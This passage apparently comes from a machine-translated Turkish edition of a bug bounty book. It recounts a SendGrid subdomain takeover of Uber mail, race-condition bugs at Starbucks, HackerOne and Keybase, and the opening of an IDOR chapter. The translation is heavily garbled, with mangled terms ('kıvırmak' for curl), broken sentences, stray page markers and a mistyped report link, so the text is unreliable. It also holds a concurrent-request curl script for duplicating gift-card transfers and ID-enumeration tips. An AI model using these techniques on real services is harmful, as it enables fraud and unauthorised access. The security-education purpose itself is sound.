Anlaşılan, Uber onları e-posta teslimatı için kullanıyor. Sonuç olarak, bilgisayar korsanları
Uranium238 ekibi Uber'in DNS kayıtlarına baktı ve
Em.uber.com için CNAME, SendGrid'e işaret ediyor (CNAME'nin kanonik bir ad olduğunu unutmayın.
etki alanı için bir diğer ad tanımlayan kayıt).

Bir CNAME olduğundan, bilgisayar korsanları nasıl olduğunu görmek için SendGrid'i dürtmeye karar verdiler.
alanlar talep edildi ve hizmete aitti. Yazdıklarına göre, onlar
İlk önce SendGrid'in içerik barındırma için izin verip vermediğine bakıp
kendi içeriğini barındırarak yapılandırma. Ancak, SendGrid açıktır, barındırmazlar
etki alanları.

Devam edersek, Uranium238 farklı bir seçenek, **beyaz etiketleme** ile karşılaştı;
SendGrid'e göre:

> SendGrid'in iznine sahip olduğunu gösteren ISS'leri gösteren işlevdir.
> sizin adınıza e-posta gönderin. Bu izin çok gösterme hareketi ile verilir
> etki alanı kayıt belgenizden SendGrid'e özel DNS girişleri. Bir kez bu DNS
> girişler girilir ve çoğaltılır, alıcı e-posta sunucuları ve servisleri
> gönderdiğiniz e-postalardaki başlıkları okuyun ve doğrulamak için DNS kayıtlarını kontrol edin.
> e-posta güvenilir bir kaynaktan başlatıldı. Bu önemli ölçüde
> e-posta teslim etme yeteneği ve gönderen saygınlığı oluşturmaya başlamanıza izin verir
> etki alanınız ve IP adresleriniz için.

[7] https://hackerone.com/reports/156536

Bu umut verici görünüyor. Doğru DNS girişleri oluşturarak, SendGrid e-posta gönderebilir
Bir müşteri adına. Tabii ki, em.uber.com'un MX kayıtlarına baktığımızda
mx.sendgrid.net (bir posta değiştirici, MX, kayıt) işaretini gösteren bir DNS kaydı türüdür.
bir alıcı etki alanı adına e-posta kabul etmekten sorumlu olan bir posta sunucusunu belirtir).

Şimdi, Uber'in SendGrid ile olan kurulumunu onaylayan Uranium238, SendGrid'in çalışmalarına katılıyor
akış ve belgeler. Gönderdiğine göre, SendGrid bir Gelen Ayrıştırma Web Kancası teklif etti.
şirketin gelen e-postaların eklerini ve içeriğini ayrıştırmasına izin verir. Bunu yapmak için
müşterilerin yapması gereken:

1. Bir Etki Alanının / Ana Bilgisayar Adının veya Alt Etki Alanının MX Kayıtlarını mx.sendgrid.net adresine yönlendirin
2. Etki Alanı / Ana Bilgisayar Adını ve URL'yi Ayrıştırma API ayarları sayfasında ilişkilendirin

Bingo. 1 Numara çoktan onaylandı ve ortaya çıktı, 2 Numara yapılmadı,
em.uber.com Uber tarafından iddia edilmedi. Bu şimdi Uranyum238 tarafından iddia edilen, son
e-postaların alındığını onaylamak oldu (hatırla, büyük hackerlar bu ekstra adıma geçti
İddialarda durmak yerine, tüm bulguları bir kavram kanıtı ile doğrulamak;
Bu örnekte ayrıştırma kancası).

Bunu yapmak için, SendGrid bir d leme sunucusu kurma konusunda bazı kullanışlı bilgiler sağlar.
Buradan kontrol edebilirsiniz.[8] . Y ılandırılmış bir sunucu ile, bir sonraki adım uygulamaktır.
Gelen e-postayı kabul etme Yine, bu yazıyı sağlarlar. Bununla beraber

---

Sayfa 151

son olarak, Uranium238, HTTP trafiğini yerel sunucularına tünelleyen ngrok.io dosyasını kullandı.
ve devralma onayladı.

[8] https://sendgrid.com/blog/collect-inbound-email-using-python-and-flask

Ngrok.io kullanarak SendGrid Gelen Ayrıştırma Konfigürasyonu

Ayrıştırılmış e-posta yoluyla alt alan adının devralınmasının onayı

Ancak Uranium238 rapor etmeden önce, birden fazla alt alanın da olduğunu doğruladı
iş, geliştirici, em, e-posta, m, posta, p, p2, güvenlik ve v.

Bütün bunlar, SendGrid'in ek bir güvenlik kontrolü eklediklerini onayladı.
gelen bir ayrıştırma kancası eklemeden önce hesapların doğrulanmış bir etki alanına sahip olmasını gerektirir.
Bu sorunu çözmeli ve kullanan diğer şirketler için artık sömürülmemelidir
SendGrid.

çıkarımlar

Bu güvenlik açığı, üçüncülere kazmanın ne kadar paha biçilmez olduğuna bir başka örnektir parti servisleri, kütüphaneler vb. siteleri kullanıyor. Belgeleri okuyarak, SendGrid'i öğrenmek ve sundukları hizmetleri anlamak, Uranium238 bu sorunu buldu. Ek olarak, bu örnekte devralma fırsatları aramak, hangi işlevsellik için uyanık olmak alt etki alanları talep etmenize olanak sağlar.

özet

Alt Etki Alanı Devralmaları, bir site zaten sahipken gerçekleştirilmesi gerçekten o kadar zor değil bir üçüncü taraf servis sağlayıcısına işaret eden veya kayıtsız olarak kullanılmayan bir DNS girişi oluşturdu alan adı. Bunun Heroku, Hızlı, kayıtsız etki alanları, S3, Zendesk'te olduğunu gördük. ve kesinlikle dahası var. Bu güvenlik açığını keşfetmenin çeşitli yolları vardır. KnockPy, Google Dorks (site: *. hackerone.com), Recon-ng, crt.sh, vb. Bunların kullanımı bu kitabın Araçlar bölümünde yer almaktadır.

Frans'dan öğrendiğimiz gibi, alt etki alanı devralmaları ararken, aşağıdakilerden emin olun: aslında güvenlik açığının kanıtını sağlayın ve vahşiyi iddia etmeyi düşünmeyi unutmayın Servisler izin veriyorsa kart alanı.

Son olarak, belgelerin okunması sıkıcı olabilir ancak çok kazançlı olabilir. Uranium238 tarafından sağlanan işlevselliği kazarak Uber postalarını ele geçirdi SendGrid. Üçüncü taraf hizmetleri ve yazılımları için mükemmel yerler olduğu için bu büyük bir paket güvenlik açıklarını arayın.

17. Yarış Koşulları

Açıklama

İki işlem tamamlamak için rekabet ettiğinde bir yarış durumu güvenlik açığı ortaya çıkar
Birbirine karşı, aleyhinde geçersiz kılınan ilk koşula dayanarak
işlemin yürütülmesi. Bunun klasik bir örneği banka arasında para transferidir.
hesaplar:

1. İçinde 500 $ 'lık bir banka hesabınız var ve bu tutarın tamamını transfer etmeniz gerekiyor.
   bir arkadaşa.
2. Telefonunuzu kullanarak, bankacılık uygulamanıza giriş yaparsınız ve $ 500'unuzu transfer etmenizi istersiniz.
   arkadaşına.
3. İsteğin tamamlanması çok uzun sürüyor, ancak hala işleniyor, bu nedenle
   dizüstü bilgisayarınızda bankacılık sitesi, bakiyenizin hala 500 dolar olduğunu görün ve aktarımınızı isteyin
   tekrar.
4. Birkaç saniye içinde, dizüstü bilgisayar ve mobil talepler tamamlandı.
5. Banka hesabınız şimdi 0 dolar ve hesabınızdan çıktınız.
6. Arkadaşınız size 1000 dolar aldığını söylemek için mesaj gönderir.
7. Hesabınıza tekrar giriş yapın ve bakiyenizin 0 TL olduğunu doğrulayın.

Bu, bir yarış koşulunun gerçekçi olmayan bir örneğidir, çünkü (umarım) tüm bankalar tanır.
Bu olasılık ve bunu önlemek, ancak süreç genel kavramın temsilcisidir.
2. ve 3. adımdaki transferler, banka hesap bakiyeniz 500 ABD Doları olduğunda başlatılır.
Aktarımı başlatmak için gereken koşul budur, yalnızca işlem gerçekleştiğinde doğrulanır
başlar. Zira yalnızca eşit veya daha düşük bir tutarı transfer edebilmelisiniz.
Bankanızın bakiyesi, 500 ABD Doları için iki istek başlatarak,
aynı miktarda Banka havalesi sırasında bir noktada durumun
Bakiyeniz 0 ABD Dolarına ulaştığından ve başka bir havale isteğinin
başarısız (hesabınıza eksi bakiye uygulayamayacağınızı varsayarak).

Hızlı internet bağlantılarıyla, HTTP istekleri anında görünebilir ancak hala
yapılacak çok işlem var. Örneğin, HTTP istekleri durumsuz olduğundan, her HTTP
gönderdiğiniz istek, alıcı sitenin sizi yeniden tanımlamasını ve ne olursa olsun yüklemesini gerektirir
İstediğiniz işlem için veriler gerekli. Bu genellikle bir çerez kullanılarak elde edilir
Hesabınız için uygulamanın sunucusunda veritabanı araması yapmak için. Bundan sonra
tamamlandıktan sonra site, yaptığınız isteği işleme koyar.

Yukarıdaki transfer örneğine bakıldığında, sunucu uygulaması mantığı şöyle görünebilir:

1. Para aktarmak için HTTP isteğini alın
2. Veritabanında yer alan çerezdeki hesap bilgileri için veritabanını sorgulayın.
   istek
3. İsteği yapan kişinin hesaba erişimi olduğunu onaylayın.
4. İstenen transfer tutarının bakiyeden az olduğunu onaylayın.
5. Kişinin transfer talebinde bulunma izni olduğunu onaylayın.
6. Bakiyeyi alan kişinin veritabanını sorgula
7. Bu tutarı alabildiğini doğrulayın.
8. Başlatma hesabından havale miktarını kaldırın
9. Transfer tutarını alıcının hesabına ekleyin
10. Başlatıcıya başarılı bir mesaj gönderin
11. Transferin alıcısına haber verin.

Yine, bu işlem mantığının aşırı basitleştirilmesidir ve mümkün olanların tümünü içermez
ancak para transferi yapmak için gerekli olan adımları ve mantığı gösterir.

Irk koşullarını çeşitli şekillerde ele aldım. İlk sadece
bunların hepsi ani veritabanı eylemleri olduğu için INSERT sorgularını kullanın. Sadece kullanarak
INSERTS, kayıtlarda olduğu gibi değiştirilecek kayıtlara bakacak zaman gecikmesi olmadığı anlamına gelir.
UPDATE sorguları. Ancak, bu yaklaşımı kullanmak uygulamanızdan beri her zaman kolay değildir.
Bir tablodaki en son kayıtlara dayanacak şekilde tasarlanmış olması gerekir;
veya mümkün olmayabilir. Bir site zaten yoğun bir şekilde kullanılıyorsa, bir uygulamayı tekrar yazmak ve
Bu yaklaşımı kullanmak için veritabanı tasarımı, değerinden daha fazla sorun olabilir.

İkincisi, verilen bir işlem için bir tabloda yalnızca bir kaydın bulunması durumunda,
Bir siparişteki ödemeler gibi (iki kez ödemek istemezsiniz), yarış koşulları olabilir
veritabanında benzersiz bir dizin ile ele. Dizinler bir programlama konseptidir
yapılandırılmış bir veri setindeki kayıtları tanımlamaya yardımcı olmak için kullanılır; onları daha önce gördük
dizileri tartışırken bölümler. Veritabanlarında, dizinler hızlandırmaya yardımcı olmak için kullanılır
sorgular (bunun nasıl yapıldığına dair detaylar bizim amaçlarımız için önemli değildir)
iki alanda benzersiz bir dizin oluşturmak, veritabanı aynı kombine karşı koruyacak
değerler iki kez ekleniyor. Yani, sipariş ödemeleri olan bir e-ticaret siteniz varsa
order_id ve işlem_idini içeren iki sütun içeren tablo, bunlara benzersiz bir dizin ekliyor
iki sütun, hiçbir yarış koşulunun,
Aynı sipariş / işlem kombinasyonu. Ancak, bu çözüm yalnızca
Bir veritabanı tablosundaki her işlem için bir kayıt bulunan senaryolar için geçerlidir.

Son olarak, yarış koşulları kilitlerle ele alınabilir. Bu programatik bir kavramdır
diğer işlemlerin yapamaması için belirli kaynaklara erişimi kısıtlayan (veya kilitleyen)
eriş onlara. Bu, başlangıç koşullarına erişimi kısıtlayarak yarış koşullarına yöneliktir.
güvenlik açığını tanıtmak için gerekli. Örneğin, paramızı aktarırken
Veri tabanı, başka bir transfer başlatırken hesap bakiyesine erişimi kilitledi
isteğin, bakiye serbest bırakılıncaya kadar beklemesi gerekir (ve muhtemelen güncellendi)

başka bir transfer gerçekleştir. Bu, iki istek aktarma olasılığını ele alacaktır
var olmayan bir miktar. Bununla birlikte, kilitleme karmaşık bir kavramdır ve

Bu kitabın kapsamı ve yanlış şekilde başka işlevsel hatalar oluşturma
site kullanıcıları. Aşağıdaki üç örnek, yarış koşullarının olduğu gerçek örnekleri göstermektedir.
böcek ödül programlarına karşı sömürüldü.

Örnekler

1. Starbucks Yarış Koşulları

Zorluk : Orta

URL : Starbucks.com

Rapor Bağlantısı : http://sakurity.com/blog/2015/05/21/starbucks.html[1]

Rapor Tarihi : 21 Mayıs 2015

Ödemeli Ödül : 0 TL

Tanım :

Blog yazısına göre, Egor Homakov, her biri değerinde üç Starbucks hediye kartı aldı
5 $. Starbucks'ın web sitesi, kullanıcılara hediye kartlarını hesaplara bağlamak için işlevsellik sağlar
bakiyeleri, para transferini vb. kontrol edin. Kötüye kullanım transfer potansiyelini tanıma
Para, Egor olayları denemeye karar verdi.

Blog gönderisine göre, Starbucks bu güvenlik açığını önleme girişiminde bulundu.
tahmin etme), aktarma taleplerini durumsal yaparak, tarayıcı ilk önce bir POST yapar.
hangi hesabın transfer edildiğini ve hangisinin aldığını belirleme isteği;
kullanıcının oturumuna bilgi. İkinci talep işlemi onaylayacak ve
oturumu yok et.

Bunun teorik olarak güvenlik açığını hafifletmesinin nedeni yavaş işlemdir.
Kullanıcı hesaplarına bakmak ve transfer işleminden önce mevcut bakiyeleri onaylamak
para zaten tamamlanacak ve sonuç ikinci seansta kaydedildi
adım.

Ancak, geri alınamayan Egor, iki oturumun kullanılabileceğini ve tamamlanabileceğini kabul etti.
bir adım iki adımın gerçekleşmesini bekliyor, aslında para transfer ediyor. İşte sahte
yayınında paylaştığı kod:

[1] http://sakurity.com/blog/2015/05/21/starbucks.html


```
# Her iki oturumda da transfer detaylarını hazırla
kıvırmak starbucks / step1 -H << Çerez: session = session1 >> --data << miktar = 1 & den = duvar \
ET1 & için = wallet2 >>
kıvırmak starbucks / step1 -H << Çerez: session = session2 >> --data << miktar = 1 & den = duvar \
ET1 & için = wallet2 >>
#send $ 1 'i aynı anda her iki seansı kullanarak m-cüzdan1'den m-cüzdan2'ye
curl starbucks / step2? onayla -H << Çerez: session = session1 >> & curl starbucks / st \
ep2 onayla -H << Çerez: session2 >> &
```

Bu örnekte, ilk iki kıvrılma ifadesinin oturumları alacağını göreceksiniz.
son adım2'yi çağırır. & Kullanımı bash komutunu çalıştırmak için bash komutunu verir.
Böylece, ikincisini çalıştırmadan önce ilk işlemin bitmesini beklemeyin.

Bütün bunlar, Egor'un altı denemesini aldı (neredeyse beşinci denemeden sonra neredeyse pes ediyordu).
sonuç; hediye kartı 1'den 5'lik iki transfer
hediye kartı 2 (5 dolarlık başlangıç bakiyesi, 5 dolarlık iki transfer) ve hediye kartı 3 için 5 dolar.

Şimdi, bir konsept kanıtı oluşturmak için bir adım daha ileri giden Egor, yakındaki bir Starbucks'u ziyaret etti.
ve Starbucks'a verilecek makbuzu kullanarak 16 dolarlık bir alım yaptı.

çıkarımlar

Yarış koşulları, bazen var olabilecek ilginç bir güvenlik açığı vektörüdür
uygulamaların para, kredi gibi bir tür denge ile uğraştığı yerlerde,
Güvenlik açığını bulmak her zaman ilk denemede olmaz ve
birkaç eşzamanlı tekrarlanan isteklerde bulunma gerektiren. İşte, Egor altı yaptı
başarılı olmadan önce istekler ve sonra gitti ve onaylamak için bir satın alma yaptı
kavramın kanıtı.

2. HackerOne'ı Kabul Etmek Birden Çok Kez Davet Ediyor

Zorluk : Düşük

URL : hackerone.com/invitations/INVITE_TOKEN

Rapor Bağlantısı : https://hackerone.com/reports/119354[2]

Rapor Tarihi : 28 Şubat 2016

Ödemeli Ödül : Swag

Tanım :

HackerOne yetkisiz erişime izin verebilecek her türlü hata için 10 bin dolarlık bir ödül sunuyor
gizli hata açıklamaları. Canın seni kandırmasına izin verme, kanıtlaman gerek. Bugüne kadar,

[2] https://hackerone.com/reports/119354

hiç kimse bu kategoriye giren geçerli bir hata bildirmedi. Ama bu beni durdurmadı
Şubat 2016'da istiyorum.

HackerOne'un işlevselliğini araştırırken, bir kişiyi rapora davet ettiğinizde farkettim
veya ekip, bu kişi ekibe katılmak için bir url bağlantısı içeren bir e-posta aldı.
yalnızca bir davet belirteci içeriyordu. Şunun gibi olurdu:

https://hackerone.com/invitations/fb36623a821767cbf230aa6fcddcb7e7 .

Ancak, davet aslında davet edilen e-posta adresine bağlı değildi.
herhangi bir e-posta adresi olan herkes kabul edebilir (bu zamandan beri değişmiştir).

Bunu kötüye kullanmanın ve potansiyel olarak davet edilmediğim bir rapora veya takıma katılmanın yollarını araştırmaya başladım.
ben de (ki işe yaramadı) ve bunu yaparken de bu sembolün sadece olması gerektiğini fark ettim.
bir kez kabul edilebilir, yani, yalnızca bir rapora veya programa katılabiliyorum
hesabı. Aklımda, sürecin şöyle bir şey olacağını düşündüm:

1. Sunucu isteği alır ve belirteci ayrıştırır.

2. Belirteç veritabanında aranır.
3. Bulduktan sonra, hesabım beni ekibe veya rapora ekleyecek şekilde güncellenir
4. Belirteç kaydı veritabanında güncellenir, böylece tekrar kabul edilemez

Gerçek süreç olup olmadığını bilmiyorum ama bu tür iş akışı yarışı destekliyor
birkaç nedenden ötürü güvenlik açıklarını sorun:

1. Bir kayda bakma ve ardından kodlama mantığı üzerinde hareket etme süreci yaratır
   süreçte bir gecikme. Arama, olması gereken ön koşullarımızı temsil ediyor.
   Bir sürecin başlatılması için bir araya geldi. Bu durumda, kodlama mantığı çok uzun sürerse,
   iki istek alınabilir ve veritabanı aramaları yine de
   gerekli koşullar, yani, davet henüz 4. adımda geçersiz kılmamış olabilir.
2. Veritabanındaki kayıtların güncellenmesi, ön koşul ve
   sonuç arıyoruz. Veritabanına eklerken veya yeni kayıtlar oluştururken
   hepsi anidir, kayıtları güncellemek veritabanına bakmayı gerektirir
   aradığımız rekoru bulmak için masa. Şimdi, veritabanları için optimize edilmiş
   Bu tür faaliyetler, yeterince kayıt yapıldığında, yeterince yavaşlamaya başlayacaklar.
   Saldırganların, ırk koşullarını kötüye kullanma gecikmesinden yararlanabileceği belirtildi.

İşlemin arama, hesabımı güncelleme ve davetiyeyi güncelleme işleminin veya # 1 olduğunu düşündüm.
Yukarıda HackerOne'da var olabilir, bu yüzden manuel olarak test ettim. Bunu yapmak için bir saniye oluşturdum ve
üçüncü hesap (biz onlara kullanıcı A, B ve C diyoruz). A kullanıcısı olarak bir program hazırladım ve davet ettim.
kullanıcı B. Sonra çıkış yaptım. E-postadan davet URL'sini aldım ve B Kullanıcısı olarak giriş yaptım.
mevcut tarayıcım ve Kullanıcı C'yi özel bir tarayıcıda (oturum açmak için gerekli
Davet et).

Sayfa 159

Sonra, iki tarayıcıyı ve onaylama düğmelerini sıraya koydum, böylece üstlerine yaklaştılar.
birbirleri, öyle:

Sonra, her iki düğmeyi de olabildiğince çabuk tıkladım. İlk denemem yapmadı
Bu, yeniden B kullanıcısını kaldırmak için can sıkıcı eylemden geçmek zorunda kalmam anlamına geliyordu.
davet vb. Ancak ikinci girişim başarılı oldum ve iki programım vardı
bir davetiyeden.

Sorunu HackerOne'a bildirirken, raporumda okuyabileceğiniz gibi,
Bunun, bir saldırganın hurdaya ayırması için fazladan zaman sağlayabilecek bir güvenlik açığı olduğunu düşündüm.
Kurban programından bu yana hangi rapor / ekibin katıldığı hakkında bilgi
programlarına katılan iki rastgele kullanıcı için kafa kaşıma anı ve
iki hesap kaldırmak zorunda. Bana göre her saniye bu durumda önemli.

çıkarımlar

Bu kırılganlığı bulmak ve kullanmak gerçekten çok eğlenceliydi;
düğmelere tıklamak zorunda kaldığımdan beri kendimle ve HackerOne platformuyla
çok hızlı. Ancak benzer güvenlik açıklarını belirlemeye çalışırken
Yukarıda tanımladığım adımların altına düşebilecek durumlar için
bir veritabanı araması, kodlama mantığı ve bir veritabanı güncellemesi. Bu senaryo borç verebilir
kendisini bir yarış durumu güvenlik açığı için.

Ek olarak, testinizi otomatikleştirmenin yollarını arayın. Neyse ki benim için mümkün oldu
Bunu pek çok girişimde bulunmadan başarmak için ancak muhtemelen sonra pes olurdu
4 veya 5, kullanıcıları sınama ve her test için davetiyeyi yeniden gönderme gereği verir.

3. Keybase Davetiye Sınırlarını Aşmak

Zorluk : Düşük

URL : https://keybase.io/_/api/1.0/send_invitations.json

Rapor Bağlantısı : https://hackerone.com/reports/1150073

Rapor Tarihi : 5 Şubat 2015

Ödemeli Ödül : 350 $

Tanım :

Bilgisayar korsanlığı yaparken, bir sitenin sayı için açık bir sınırı olduğu fırsatları arayın.
Bu örnekteki davetiyeler gibi gerçekleştirmenize izin verilen belirli eylemlerin
bir siparişe indirim kuponu uygulayabileceğiniz sayı, kullanıcı sayısı
Bir ekip hesabına vb. ekleyebilirsiniz.

Keybase cep telefonları ve bilgisayarlar için ve ne zaman başlatıldıkları için bir güvenlik uygulamasıdır.
sitelerinde, kayıt sağlayarak kaydolabilecekleri kişilerin sayısını sınırladılar

Üç davetli kullanıcılar, bir Keybase'e HTTP isteği ile başlatıldı. Josip FranjkoviÄ
Bu davranış benzer nedenlerle bir yarış durumu için savunmasız olabileceğini kabul
ilk örnekte açıklandığı gibi; Keybase davet etme isteğini alıyordu.
bir kullanıcının davet edip etmediğini görmek için veritabanını kontrol eden başka bir kullanıcı, belirteç oluşturma, e-postayı gönderme ve kalan davet sayısını azaltma.

Test etmek için Josip https://keybase.io/account/invitations adresini ziyaret etti, bir e-posta adresi girdi.
ve davet gönderildi. Burp gibi bir araç kullanarak, muhtemelen bu isteği davetsiz misafire yolladı.
Bu, kullanıcıların bir ekleme noktası tanımlayarak tekrarlayan testleri otomatikleştirmelerini sağlar.
HTTP isteği ve her istekle yinelenecek yüklerin belirtilmesi,
ekleme noktasına taşıma kapasitesi. Bu durumda, birden fazla e-posta belirtecekti.
adresleri ve her istek aynı anda hepsi gönderilecekti.

[3] https://hackerone.com/reports/115007

Sayfa 161

Sonuç olarak, Josip kullanıcı başına 3 davet sınırını aşarak 7 kullanıcıyı davet edebildi.
Keybase sorunu çözerken hatalı tasarımı onayladı ve açıkladı
davetiye isteğini işleme koymadan önce bir kilit alarak güvenlik açığını giderdi
ve davet gönderildikten sonra yayınlanacak.

çıkarımlar

Bu tür yarış koşullarını kabul etmek ve ödemek,
bir siteye izin verilir, bir programın öncelikleri, işlevselliği ve riskine bağlıdır
profil. Bu durumda, Keybase muhtemelen bunu denediği için kabul etti
Bunun atladığı sitelere kayıtlı kullanıcı sayısını yönetmek.
Bu, davet işlevselliği içeren tüm hata ödül programları için geçerli değildir.
HackerOne ile gösterildiği gibi, daha önce ele alınan davet örneğidir. Eğer
benzer bir şey bildirirken, raporunuzun neden olması gerektiğini açıkça belirttiğinizden emin olun.
bir güvenlik açığı olarak kabul edilmek.

4. HackerOne Ödemeleri

Zorluk : Düşük

URL : n / a

Rapor Bağlantısı : https://hackerone.com/reports/220445[4]

Rapor Tarihi : 12 Nisan 2017

Ödemeli Ödül : 1000 Dolar

Tanım :

Yarış koşullarından yararlanmaya çalışırken, bir sitenin işlediği fırsatlara bakın
arka plandaki veriler, gerçekleştirdiğiniz eylemlerle ilgisiz veya gecikmeli
ödemeleri yapma, e-posta gönderme veya nerede
gelecekteki bir eylem planlamak.

2016 baharında, HackerOne bir araya gelerek ödeme sistemlerinde değişiklik yaptı.
PayPal ödeme yapıldığı sırada korsanlara tek bir ödemede verilen ödüller
işlemci. Daha önce, günde üç ödül aldıysanız, üç
HackerOne'dan ödemeler. Değişiklikten sonra, toplam tutarı ile bir tane alırsınız.

2017 yılının Nisan ayında, Jigar Thakkar bu işlevi test etti ve mümkün olduğunu kabul etti.
ödemeleri çoğaltmak için yeni işlevsellikteki yarış koşullarından yararlanın. Başlarken
ödeme işlemi, HackerOne bir e-posta adresi başına ödül aldı.
bunları bir araya getirip, talebi PayPal'a gönderdi. Burada ön şart aranıyor
email adresi. Jigar, iki bilgisayar korsanının aynı PayPal e-posta adresine sahip olması durumunda

[4] https://hackerone.com/reports/220445

Sayfa 162

Kayıtlı, HackerOne bu e-posta için ödemeleri tek bir ödemede birleştirir
adres. Ancak, bu bilgisayar korsanlarından biri kombinasyondan sonra PayPal adresini değiştirdiyse
ancak HackerOne, talebi PayPal'a göndermeden önce, götürü ödeme
ilk e-posta adresi ve yeni e-posta adresi yine de ödenecek. Muhtemelen bu
çünkü PayPal'a yapılan istek, ödemelerin tümü ödenmemiş olarak işaretlendi.
yapılmış. İşlemin ne zaman yapıldığını bilmek zorunda olduğunuzdan, bu davranışı kullanmak zordu.
başlatılıyordu ve yaptıysanız, e-postayı değiştirmek için yalnızca birkaç saniyeniz vardı
adresleri.

Bu örnek, HackerOne'un gecikmiş işlem işlerini kullanması nedeniyle dikkat çekicidir ve
kontrol zamanına karşı kullanım süresi. Bazı web sitelerini kullandığınızda kayıtları günceller
etkileşime göre. Örneğin, HackerOne hakkında bir rapor gönderdiğinizde, bir
E-posta gönderdiğiniz takıma gönderilecek, ekibin istatistikleri güncellenecek ve
yakında. Bununla birlikte, bazı işlevler bir HTTP'ye yanıt olarak hemen gerçekleşmez
istek, ödemeler gibi.

HackerOne, size hemen para göndermek yerine, artık ödülleri birleştirdiğinden
ödül aldığınızda, HackerOne'un bir arkaplan işi kullanması mantıklı geliyor.
sana borçlu olduğu parayı arar, birleştirir ve PayPal'dan transfer talebinde bulunur.
Arka plan işleri, kullanıcının HTTP isteğinden başka bir tetikleyici tarafından başlatılır ve
siteler çok fazla veri işlemeye başladığında sıkça kullanılır. Bu yapmaz çünkü
HTTP isteklerine yanıt olarak tüm site eylemlerini başlatmak ve kullanıcıları beklemek için
Sunucudan bir HTTP yanıtı almadan önce işlem tamamlandı. Ne zaman sen
raporunu gönder, sunucu sana bir HTTP yanıtı gönderecek ve bir arka plan yaratacak
ekibine raporun hakkında e-posta gönderme işi. Bir ekip size ödül verdiğinde ödemelerde de aynı
kelle, ödeme makbuzunu alacaklar, ancak parayı gönderecekler.
daha sonra tamamlanması gereken bir arka plan işine.

Arka plan işleri ve veri işleme, yarış koşulları için önemlidir, çünkü bunlar
Kontrol koşulları (kontrol zamanı) ve gerçekleştirme arasında bir gecikme olabilir.
eylemler (kullanım zamanı). Bir site yalnızca bir şey eklerken koşulları kontrol ediyorsa
arkaplan işlemesi ancak gerçekte kullanıldığı zaman değil
Bir yarış durumuna yol açabilir. Bu durumda, aynı e-posta adresini kontrol ederken
ödemeleri, e-posta adresinin o zaman hiç değişmediğini kontrol etmeden birleştirmek
ödeme veya kullanım.

çıkarımlar

Bir siteyi kullanırken, ziyaret ettikten sonra verileri iyi işlediğini fark ederseniz
Site, muhtemelen verileri işlemek için bir arka plan işi kullanıyor. Bu bir kırmızı bayrak
Sitenin etkili olup olmayacağını görmek için işi tanımlayan koşulları test etmelisiniz
eski olanlara karşı yeni koşullar. Bu örnekte, HackerOne idi
bir e-posta adresinin ödemelerini belirli bir para göndermeye karşı birleştirmek
e-mail adresleri. Davranışı arka plandan beri iyice test ettiğinizden emin olun.
işleme bağlı olarak çok çabuktan uzun zamana kadar her yerde olabilir.
kaç işin tamamlanması için kuyruğa alındı ve sitenin yaklaşımı
Veri işleniyor.

özet

Bir site herhangi bir zamanda, bazı koşulların doğru olmasına bağlı olarak eylemlerde bulunur;
gerçekleştirilen eylem sonucunda değişiklik, her zaman bir şansı var
geliştiriciler yarış koşullarını hesaba katmadı. Bu tür için uyanık olmak
Bir siteye ne zaman ve ne zaman gerçekleştirmeniz için izin verdiğiniz sınırlı işlemlerle ilgili
arka planda eylemleri işliyor. Bu tür güvenlik açığı genellikle ilişkilendirilir
koşullar çok çabuk değişiyor, bazen neredeyse anında
bir şey savunmasızdır, davranıştan yararlanılması için birden fazla girişimde bulunabilir.
Israrcı olun ve bir programın kazanamayacağı bir ihtimal varsa, güçlü bir gerekçe ekleyin
Keşfedilen yarış durumunuzu istismar etmenin ciddi bir güvenlik açığı olduğunu düşünün.

18. Güvensiz Doğrudan Nesne Referansları

Açıklama

Saldırganın yapabileceği bir güvensiz doğrudan nesne başvurusu (IDOR) güvenlik açığı oluşuyor
dosya, veritabanı kaydı, hesap gibi bir nesneye yapılan bazı referanslara erişmek veya bunları değiştirmek,
vb aslında onlara erişilemez olmalıdır. Örneğin,
Özel profilli bir web sitesinde hesabınızı ziyaret etmek için **www.site.com/user=123** adresini ziyaret edebilirsiniz .
Ancak, **www.site.com/user=124 adresini** denediyseniz ve erişim hakkınız varsa , bu site
IDOR hatalarına karşı savunmasız sayılabilir.

Bu tür güvenlik açığını tespit etmek, kolaydan zorlanmaya kadar uzanır. En temel benzer
Sağlanan kimliğin basit bir tam sayı olduğu yukarıdaki örneğe göre,
siteye yeni kayıtlar (veya yukarıdaki örnekteki kullanıcılar) eklenmiştir. Yani bunun için test
sonuçları kontrol etmek için kimliğe 1 eklenmesi veya çıkarılmasını içerir. Kullanıyorsanız
Burp, Burp Intruder'e bir istek yükleyerek isteği yükleyerek bunu otomatikleştirebilirsin.
Kimlik numarasını girin ve ardından bir adım atarak, başlangıç ve bitiş değerlerini içeren sayısal bir liste kullanın.

Bu tür bir testi çalıştırırken, farklı belirtenleri değiştiren içerik uzunluklarını arayın.
cevaplar iade ediliyor. Başka bir deyişle, bir site savunmasız değilse,
Aynı içerik uzunluğuna sahip bir tür erişim reddedildi iletisini almak.

İşlerin daha zor olduğu yer, bir site kendi nesnelerine referansları gizlemeye çalıştığında olur
rastgele tanımlayıcılar, böyle evrensel benzersiz tanımlayıcılar gibi şeyler kullanan referanslar
(Uuıdlerin). Bu durumda, ID, 36 karakterlik bir alfa sayısal dize olabilir.
tahmin etmek imkansız. Bu durumda çalışmanın bir yolu iki kullanıcı profili oluşturmak ve geçiş yapmaktır.
Nesneleri test eden bu hesaplar arasında. Yani, kullanıcı profillerine erişmeye çalışıyorsanız
a UUID, profilinizi A Kullanıcısı ile oluşturun ve ardından Kullanıcı B ile bu profile erişmeye çalışın
UUID'i tanıdığından beri.

UUID'ler tarafından tanımlanan fatura kimlikleri, seyahatler vb. Gibi belirli kayıtları test ediyorsanız,
yukarıdaki örneğe benzer şekilde, bu kayıtları A Kullanıcısı olarak oluşturmayı ve ardından erişmeyi deneyin.
profilleri arasındaki geçerli UUID'leri bildiğinizden beri bunları B Kullanıcısı olarak kullanabilirsiniz. Erişebiliyorsanız
nesneler, bu bir sorun ama kimliklerden bu yana aşırı şiddetli değil (istisna dışında)
36 karakter, rastgele dizelerdir. Bu, hepsini ama tartışılmaz kılar. Hepsi kayıp değil
rağmen.

Bu noktada bir sonraki adım, UUID'nin sızdırıldığı bir alan bulmaya çalışmaktır. Örneğin,
Ekip tabanlı bir sitede, B kullanıcısını ekibinize davet edebilir misiniz, öyleyse sunucu mu
UUID'lere kabul etmeden önce cevap veriyor mu? Sitelerin sızdırdığı tek yol bu
Uuıdlerin. Diğer durumlarda, bir profili ziyaret ederken sayfa kaynağını kontrol edin. Ara sıra

siteler, oluşturulan tüm kayıtları da içeren kullanıcı için bir JSON blob'u içerecektir
